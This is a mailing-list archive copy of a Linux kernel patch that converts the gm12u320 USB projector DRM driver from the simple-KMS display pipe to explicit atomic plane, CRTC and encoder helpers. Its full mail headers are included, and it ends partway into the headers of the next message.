Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wo4nl-0006on-0r
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 19:46:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wo4nk-009ZKg-E4
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 21:46:20 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a666404-5cb7-0a2a0a5109dd-0a2a4509e246-4
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:46:20 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a66640b-be1a-0a2a45090019-cddcb4831ac0-3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:46:20 +0200
Received: from pps.filterd (m0279870.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66QH73jb1333213
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:46:18 GMT
Received: from mail-pj1-f71.google.com (mail-pj1-f71.google.com
 [209.85.216.71])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fmn7vbjrp-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:46:18 +0000 (GMT)
Received: by mail-pj1-f71.google.com with SMTP id
 98e67ed59e1d1-38dc085b0a7so3816717a91.2
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 12:46:18 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 98e67ed59e1d1-38f03b0eaa8sm4105998a91.8.2026.07.26.12.46.09
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sun, 26 Jul 2026 12:46:16 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	tzBRrJFfWf9nuUSk+Umahe/GXjmEn4PayMptDA8R4co=; b=eSrHRae+4KBJsqzq
	PRmZQmIoQ8J6u9+blj/zwfOFX54m0IOTPrB/iPVShNYnvFDCwzhSKRSqlVKDvuNs
	vA+xR14w273BsD0kDwfefgw+yW4p6AFSBDFMfZ3fpzle9yt2Oi+Vu1hfg1fsXazo
	XKci7DdKH9K+o7gJuy5xA9SXDUa4hrbLKzEXBbgkDODDK679rHG83Fb0Fbcnse/E
	5w82A7Vg9wzAvkzCIPc5pcIvNVdN4FGPG2Nht9vykKbwX1mya0SDeoruIsYgk+FT
	gyUp7CWEzdUcjSXQsYKq2OJwLOpZ2lCCliBingET4Gpo+AiMNbuYYtMb0qCDIR7K
	xDewrw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1785095177; x=1785699977; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=tzBRrJFfWf9nuUSk+Umahe/GXjmEn4PayMptDA8R4co=;
        b=BDjPLEAs0SE4DstXMHX4n52rZUpglkElCDUMbwXRHLwiNW/bhzixemboMdI2nf5oPF
         EXic29B2y6PuBGGDWxTGtcu2d39Tuhij7WYbHgu57/1aY0s5yPwi3eEnViz5HHENdY4r
         0fOyOSDuqpOHmkSuJeJRMK4Y1HGLskWvkmluaO8p8iEgeTdx+q8bp7nh4NiT+a1KA5sD
         iRLgVai8nECed921MxpocGS5rO/Wgu9I1cLIzALNARZmMPEVqrXay5aLZjpHYo3lMCzh
         OLZ0Ls8girDZhHNmLpCQhOnAGmPv1NIC1PeSq7+aIHrIZTWFPpFCDGb4H3iPqUowterT
         LpBA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785095177; x=1785699977;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=tzBRrJFfWf9nuUSk+Umahe/GXjmEn4PayMptDA8R4co=;
        b=hhJuHwoD21KShY4DhLR6uftf12dg2zxddnpIOjn9AJtxqONeX0Zn7/GbcoqdEHp/Zz
         rTYMo09xwj8VTHVqgjqmiy/P2MsJmtHA0oOnYVFJ/dCJ4ix9EOHMD1KKGJ65OkX8JiFJ
         zaOy8cNerl2CWui3ep/rHImKbG854G3ExeKCAHCRXBmMabdBCFSNJm8Fe02iwSfKUlgm
         UXpv7YT3RGijU/ybE8/EJffeR8NPK4PWhlfhRB6adeBPkWByjPWqO5g0OOyaeLOIOe9s
         /u8JiKCU3RrLiytCm+2HIU95JxakQJe8udF0IL8dyGajGUlng+BeJmENjLOIEwmDETrM
         Y5xA==
X-Forwarded-Encrypted: i=1; AHgh+RrYClXZM7pHL8ND57OLQJEkJviSzT0wHgtcZnVsxDsF2ReIGWN1lUHrXuXKU2AIpDlqMEtETr1u8tc=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwSOcmvzw9VpZehFE70xVuCUYN0wufFEk4QWZT0WITkL/luI9WC
	mjnUdPdOEfl0xANieSGlVlMgs+EvZbMw3Fq9p3rFgMQlUDzXf7C6pIiZjYCu3D97RN3O1kSGdoU
	coGhHfIRn0Y6Ze2N3puzkeYXlw1fNd8M/8mHBxVRMdGE5mKsfXCC1H/SA3kTjzm2L6SozAA==
X-Gm-Gg: AR+sD13QiZXZ4L8ml841pI9D+4R0Cefa9Mv6hlpohRWXmADdZZRsBPrC+r3RSX/A1k4
	AWXxPmn8YlKeom8UgpUql8gNEQO3qERsX7KqkknPkzLnQzKf6hJV0U5NJQAVNkpvV/FyRTDbCja
	QlQMeUu4dqkzaRsBYh1Il5GxvLZ1DbgHELNzKHWHAvQInZox1gLxhH3p//2uoylU2iib6FcUaCM
	GozgLibOebYqry/2FvAekNaE+qCSJhvdchvxBDRNA7Iu86mQpl+M5W8Z8SUChECwJPXlciaBINQ
	gMRWRFTvqS0uDEc4Iiw//oiQfgSVrQ7uDUm9KXVT8tZ0F0Ka3+52ag/gWHa3TPaiUDUuHiyqFVK
	Jas83sQJBHjcX5+nu/gh6
X-Received: by 2002:a17:90a:d607:b0:381:9028:5945 with SMTP id 98e67ed59e1d1-38f294ea129mr5919571a91.14.1785095177326;
        Sun, 26 Jul 2026 12:46:17 -0700 (PDT)
X-Received: by 2002:a17:90a:d607:b0:381:9028:5945 with SMTP id 98e67ed59e1d1-38f294ea129mr5919538a91.14.1785095176894;
        Sun, 26 Jul 2026 12:46:16 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Mon, 27 Jul 2026 03:45:18 +0800
Subject: [PATCH v3 5/8] drm/gm12u320: replace struct
 drm_simple_display_pipe with regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260727-drm-simple-kms-removal-v3-5-cd5dc89858c6@oss.qualcomm.com>
References: <20260727-drm-simple-kms-removal-v3-0-cd5dc89858c6@oss.qualcomm.com>
In-Reply-To: <20260727-drm-simple-kms-removal-v3-0-cd5dc89858c6@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1785095129; l=8382;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=g+MDix2aoww8WVfrNbk1rE7PxKYObabHjKYvIJmxIMM=;
 b=mVZJXr+XmZgsHgsqa8wml/FP/WY7LcnwyXF2tb9+b/ejFt0L03u0D2Ll1AvyTMa4xxIz1ByxX
 qLo+sDvLyK+DfFgJTfsRiCYyQwCIqSBAsF6iNEqLbnHNKyQJtYM5yyE
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=8uGhlZHInA8NXq7G6u/g59qEcwXwuMRI7nBSnT/ijtY=
X-Authority-Analysis: v=2.4 cv=GKk41ONK c=1 sm=1 tr=0 ts=6a66640a cx=c_pps
 a=UNFcQwm+pnOIJct1K4W+Mw==:117 a=Uz3yg00KUFJ2y2WijEJ4bw==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=gowsoOTTUOVcmtlkKump:22
 a=EUspDBNiAAAA:8 a=cqCYvchtcWlsvxqGjdoA:9 a=QEXdDO2ut3YA:10
 a=uKXjsCUrEbL0IQVhDsJ9:22
X-Proofpoint-GUID: 6r2dFg9fEdmTsZibdhMewgbREIJ3i4uw
X-Proofpoint-ORIG-GUID: 6r2dFg9fEdmTsZibdhMewgbREIJ3i4uw
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI2MDIwMCBTYWx0ZWRfX38qSOpCtgXDm
 7xQtVQ162KXNUwcvLWjjeF+q+/PE3BYDnV7ZK9PGoMd/aIdx9UWJIJBZM25/jTnVwIiMlky1Wwi
 9CM10rqtjRf6rXVTaEnVdvCIv3sgqLM=
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI2MDIwMCBTYWx0ZWRfXwyhWbC8wRuND
 rfXthLG0iQkal/KBSvD9ZP59tEO4/41mZIgvvmNg7im5Krmk7VmmSOk8b567LJg1Uqqk4U9BFf8
 VYajqwPnVIYPBRL6slyhgDq0ifUmr2AtekC6IYNrmoiB6ZDaOB4jEdTb8MlMF85QzvITqpIKWwT
 wT42hWXOan/7GNaIZ39PRzOYULjlXquYfwB7F/9xpvtEWJlIJH3z1JWWpf0HpsYAND6nAl4V1jj
 Tmi84qqiI1yBzwAhkHDa3JVkwU+TBwR2cHWFQjL99/eOoymkowk8mOhcXaAIK9U08mKj6lpngeZ
 hRCaWm/X0lAFsPXLzvGGkIE/DtQmzNvhIWWfO8NVtefQhtv+kqM4OsQQJhlgMJ4V8Hjmeq4cyoV
 3P056F0fiHzmiW8uX4mfWUkV+cpMPvNdZjJPCLYu/QRPyiSUEFNlZZAEn4WHDLXZffpI2WfSJHa
 +ZeX+669jF6ujdvbDRQ==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-26_05,2026-07-24_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 impostorscore=0 spamscore=0 malwarescore=0 lowpriorityscore=0 adultscore=0
 clxscore=1015 bulkscore=0 suspectscore=0 priorityscore=1501 phishscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607260200
X-purgate-ID: tlsNG-bad1c0/1785095180-3B6D2034-4927B2BB/0/0
X-purgate-type: clean
X-purgate-size: 8384

Convert gm12u320 to direct primary plane, CRTC and encoder setup.

Keep shadow-plane helper state, framebuffer access helpers and
no-scaling plane-state check from simple-KMS path.

Reviewed-by: Thomas Zimmermann <tzimmermann@suse.de>
Tested-by: Thomas Zimmermann <tzimmermann@suse.de>
Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>

---
Changes in v3:
- Use commit-local plane state in the CRTC enable path when marking the first
  frame dirty.
- Make the gm12u320 container helper static inline.
---
 drivers/gpu/drm/tiny/gm12u320.c | 138 ++++++++++++++++++++++++++++++++--------
 1 file changed, 111 insertions(+), 27 deletions(-)

diff --git a/drivers/gpu/drm/tiny/gm12u320.c b/drivers/gpu/drm/tiny/gm12u320.c
index d73dfebb4353..afcf0dfff14b 100644
--- a/drivers/gpu/drm/tiny/gm12u320.c
+++ b/drivers/gpu/drm/tiny/gm12u320.c
@@ -8,6 +8,7 @@
 #include <linux/usb.h>
 
 #include <drm/clients/drm_client_setup.h>
+#include <drm/drm_atomic.h>
 #include <drm/drm_atomic_helper.h>
 #include <drm/drm_atomic_state_helper.h>
 #include <drm/drm_connector.h>
@@ -27,7 +28,6 @@
 #include <drm/drm_modeset_helper_vtables.h>
 #include <drm/drm_print.h>
 #include <drm/drm_probe_helper.h>
-#include <drm/drm_simple_kms_helper.h>
 
 static bool eco_mode;
 module_param(eco_mode, bool, 0644);
@@ -87,7 +87,9 @@ MODULE_PARM_DESC(eco_mode, "Turn on Eco mode (less bright, more silent)");
 
 struct gm12u320_device {
 	struct drm_device	         dev;
-	struct drm_simple_display_pipe   pipe;
+	struct drm_plane	         plane;
+	struct drm_crtc		         crtc;
+	struct drm_encoder	         encoder;
 	struct drm_connector	         conn;
 	unsigned char                   *cmd_buf;
 	unsigned char                   *data_buf[GM12U320_BLOCK_COUNT];
@@ -102,7 +104,10 @@ struct gm12u320_device {
 	} fb_update;
 };
 
-#define to_gm12u320(__dev) container_of(__dev, struct gm12u320_device, dev)
+static inline struct gm12u320_device *to_gm12u320(struct drm_device *__dev)
+{
+	return container_of(__dev, struct gm12u320_device, dev);
+}
 
 static const char cmd_data[CMD_SIZE] = {
 	0x55, 0x53, 0x42, 0x43, 0x00, 0x00, 0x00, 0x00,
@@ -554,43 +559,106 @@ static int gm12u320_conn_init(struct gm12u320_device *gm12u320)
 }
 
 /* ------------------------------------------------------------------ */
-/* gm12u320 (simple) display pipe				      */
+/* gm12u320 display pipe					      */
 
-static void gm12u320_pipe_enable(struct drm_simple_display_pipe *pipe,
-				 struct drm_crtc_state *crtc_state,
-				 struct drm_plane_state *plane_state)
+static void gm12u320_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					       struct drm_atomic_commit *commit)
 {
 	struct drm_rect rect = { 0, 0, GM12U320_USER_WIDTH, GM12U320_HEIGHT };
-	struct gm12u320_device *gm12u320 = to_gm12u320(pipe->crtc.dev);
-	struct drm_shadow_plane_state *shadow_plane_state = to_drm_shadow_plane_state(plane_state);
+	struct gm12u320_device *gm12u320 = to_gm12u320(crtc->dev);
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(commit, &gm12u320->plane);
+	struct drm_shadow_plane_state *shadow_plane_state = to_drm_shadow_plane_state(pstate);
 
 	gm12u320->fb_update.draw_status_timeout = FIRST_FRAME_TIMEOUT;
-	gm12u320_fb_mark_dirty(plane_state->fb, &shadow_plane_state->data[0], &rect);
+	gm12u320_fb_mark_dirty(pstate->fb, &shadow_plane_state->data[0], &rect);
 }
 
-static void gm12u320_pipe_disable(struct drm_simple_display_pipe *pipe)
+static void gm12u320_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+						struct drm_atomic_commit *commit)
 {
-	struct gm12u320_device *gm12u320 = to_gm12u320(pipe->crtc.dev);
+	struct gm12u320_device *gm12u320 = to_gm12u320(crtc->dev);
 
 	gm12u320_stop_fb_update(gm12u320);
 }
 
-static void gm12u320_pipe_update(struct drm_simple_display_pipe *pipe,
-				 struct drm_plane_state *old_state)
+static void gm12u320_plane_helper_atomic_update(struct drm_plane *plane,
+						struct drm_atomic_commit *commit)
 {
-	struct drm_plane_state *state = pipe->plane.state;
+	struct drm_plane_state *old_state = drm_atomic_get_old_plane_state(commit, plane);
+	struct drm_plane_state *state = drm_atomic_get_new_plane_state(commit, plane);
 	struct drm_shadow_plane_state *shadow_plane_state = to_drm_shadow_plane_state(state);
 	struct drm_rect rect;
 
+	if (!state->fb)
+		return;
+
 	if (drm_atomic_helper_damage_merged(old_state, state, &rect))
 		gm12u320_fb_mark_dirty(state->fb, &shadow_plane_state->data[0], &rect);
 }
 
-static const struct drm_simple_display_pipe_funcs gm12u320_pipe_funcs = {
-	.enable	    = gm12u320_pipe_enable,
-	.disable    = gm12u320_pipe_disable,
-	.update	    = gm12u320_pipe_update,
-	DRM_GEM_SIMPLE_DISPLAY_PIPE_SHADOW_PLANE_FUNCS,
+static const struct drm_plane_funcs gm12u320_plane_funcs = {
+	.update_plane	= drm_atomic_helper_update_plane,
+	.disable_plane	= drm_atomic_helper_disable_plane,
+	.destroy	= drm_plane_cleanup,
+	DRM_GEM_SHADOW_PLANE_FUNCS,
+};
+
+static int gm12u320_plane_helper_atomic_check(struct drm_plane *plane,
+					      struct drm_atomic_commit *commit)
+{
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_crtc_state *crtc_state = NULL;
+
+	if (plane_state->crtc) {
+		crtc_state = drm_atomic_get_crtc_state(commit, plane_state->crtc);
+		if (IS_ERR(crtc_state))
+			return PTR_ERR(crtc_state);
+	}
+
+	return drm_atomic_helper_check_plane_state(plane_state, crtc_state,
+						   DRM_PLANE_NO_SCALING,
+						   DRM_PLANE_NO_SCALING,
+						   false, false);
+}
+
+static const struct drm_plane_helper_funcs gm12u320_plane_helper_funcs = {
+	DRM_GEM_SHADOW_PLANE_HELPER_FUNCS,
+	.atomic_check	= gm12u320_plane_helper_atomic_check,
+	.atomic_update	= gm12u320_plane_helper_atomic_update,
+};
+
+static int gm12u320_crtc_helper_atomic_check(struct drm_crtc *crtc,
+					     struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	int ret;
+
+	if (crtc_state->enable) {
+		ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+		if (ret)
+			return ret;
+	}
+
+	return drm_atomic_add_affected_planes(commit, crtc);
+}
+
+static const struct drm_crtc_helper_funcs gm12u320_crtc_helper_funcs = {
+	.atomic_check	= gm12u320_crtc_helper_atomic_check,
+	.atomic_enable	= gm12u320_crtc_helper_atomic_enable,
+	.atomic_disable	= gm12u320_crtc_helper_atomic_disable,
+};
+
+static const struct drm_crtc_funcs gm12u320_crtc_funcs = {
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+};
+
+static const struct drm_encoder_funcs gm12u320_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 static const uint32_t gm12u320_pipe_formats[] = {
@@ -677,13 +745,29 @@ static int gm12u320_usb_probe(struct usb_interface *interface,
 	if (ret)
 		return ret;
 
-	ret = drm_simple_display_pipe_init(&gm12u320->dev,
-					   &gm12u320->pipe,
-					   &gm12u320_pipe_funcs,
-					   gm12u320_pipe_formats,
-					   ARRAY_SIZE(gm12u320_pipe_formats),
-					   gm12u320_pipe_modifiers,
-					   &gm12u320->conn);
+	ret = drm_universal_plane_init(dev, &gm12u320->plane, 0,
+				       &gm12u320_plane_funcs,
+				       gm12u320_pipe_formats,
+				       ARRAY_SIZE(gm12u320_pipe_formats),
+				       gm12u320_pipe_modifiers,
+				       DRM_PLANE_TYPE_PRIMARY, NULL);
+	if (ret)
+		return ret;
+	drm_plane_helper_add(&gm12u320->plane, &gm12u320_plane_helper_funcs);
+
+	ret = drm_crtc_init_with_planes(dev, &gm12u320->crtc, &gm12u320->plane, NULL,
+					&gm12u320_crtc_funcs, NULL);
+	if (ret)
+		return ret;
+	drm_crtc_helper_add(&gm12u320->crtc, &gm12u320_crtc_helper_funcs);
+
+	ret = drm_encoder_init(dev, &gm12u320->encoder, &gm12u320_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
+	if (ret)
+		return ret;
+	gm12u320->encoder.possible_crtcs = drm_crtc_mask(&gm12u320->crtc);
+
+	ret = drm_connector_attach_encoder(&gm12u320->conn, &gm12u320->encoder);
 	if (ret)
 		return ret;
 

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 26 19:48:47 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 26 Jul 2026 19:48:47 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371257.1618900 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4q6-0008VT-8k; Sun, 26 Jul 2026 19:48:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371257.1618900; Sun, 26 Jul 2026 19:48:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4q6-0008VM-62; Sun, 26 Jul 2026 19:48:46 +0000
Received: by outflank-mailman (input) for mailman id 1371257;
 Sun, 26 Jul 2026 19:48:45 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wo4q5-0008VC-5y
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 19:48:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wo4q4-006Cnf-4C
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 21:48:44 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a66645d-5cb7-0a2a0a5109dd-0a2a4507acf6-10
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:48:44 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a666421-b4ea-0a2a45070019-cddca8837034-3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:46:43 +0200
Received: from pps.filterd (m0279864.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66QH7IYw721716
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:46:41 GMT
Received: from mail-pj1-f72.google.com (mail-pj1-f72.google.com
 [209.85.216.72])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fmpajkckx-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:46:41 +0000 (GMT)
Received: by mail-pj1-f72.google.com with SMTP id
 98e67ed59e1d1-38e1118e4abso3439203a91.0
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 12:46:41 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 98e67ed59e1d1-38f03b0eaa8sm4105998a91.8.2026.07.26.12.46.32
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sun, 26 Jul 2026 12:46:39 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	wSGeQRwMP4eO9GjmSugudIPnkFmlYP4r8d4tXRAJ/XE=; b=KhyqLUahopd1K+8F
	/i7o6UN4Zy4pvwoukMXxUan1QmeEdB8UIb9Ks8LzYVawYUykG71n98l1/g4JQihk
	zsAB4zh6e/2qkEhaZ/XIaXpbmeevlQ/9AwssdwfNZfZTL8xE70i1bgSpzqNSvVGA
	HEiC9jox5mGm/z3/nHocm7ymikNfv3bMB+nzN9oQLceFfKRH5WE7KehG9KoAucVV
	X1A+rbGBCf2dwZFDvi1gJ8iTE2R/KtK/KrgnYxMpDPG11DrG5ZE0e0pnGcKAJLoL
	yykF0vrX80gwHl2keJetGHSUKwpA2Nfe6p6KfuBq/xXj8lQc2k4WfhcDE+U7jxlR
	7+79yw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1785095201; x=1785700001; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=wSGeQRwMP4eO9GjmSugudIPnkFmlYP4r8d4tXRAJ/XE=;
        b=Nx/0nPeaERZu9bQA1/FGTQa6Taq/6TADyGpBUBRJMTM8okG6qAyi2/BNX4UvmmJb5j
         Y7JWg2o6j6/JxVYSJ6r/3pCUmknrHwQADnmjHt67dk90XOLtglruadrtcJw4cNRmSa4W
         0CsWKWI08+hXxysWJO3qs2c7qvw7RzxWdv8gOSLQhWcHtzcfXU11YkIu6cI6561Ev8go
         GUJBk0YbE+Da3TzAz9zGVKC6XqxqBIm+6td6fi/U9OGnYnplL15OJ7VWG1et0lpAr1GY
         HyzFOGjRk7QIpOO1DgAPRkdYLef6F4Ivsa+7n4hBdLi9n4fUrzXTbOKTgcwYO62MKP/q
         1RHA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785095201; x=1785700001;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=wSGeQRwMP4eO9GjmSugudIPnkFmlYP4r8d4tXRAJ/XE=;
        b=occle3yfMkGG0jJpPGhyk3D/JYG4e3GCSwLCSil+dre5rOeZP7kHv/w4Rwcqs21h0e
         WDa4/wAOr+Lb+XkMMMtWNjGehPfLJF5Pn2SZ4v93i2WXVPvQS+COi3aeDHGzAkzD5WvA
         f3nMN6PtGpz0WDZiBQjSpOBS75AHPl+Y1kV/yZTBPNFV7j26Gzvymf45DYwDRAD+s5kC
         ktwDk4A4bGlzlPuZYK6nMrySr7uzV84+udaGJo8nOH8v83XtkQJ4lenyvQQpEjdqhbxV
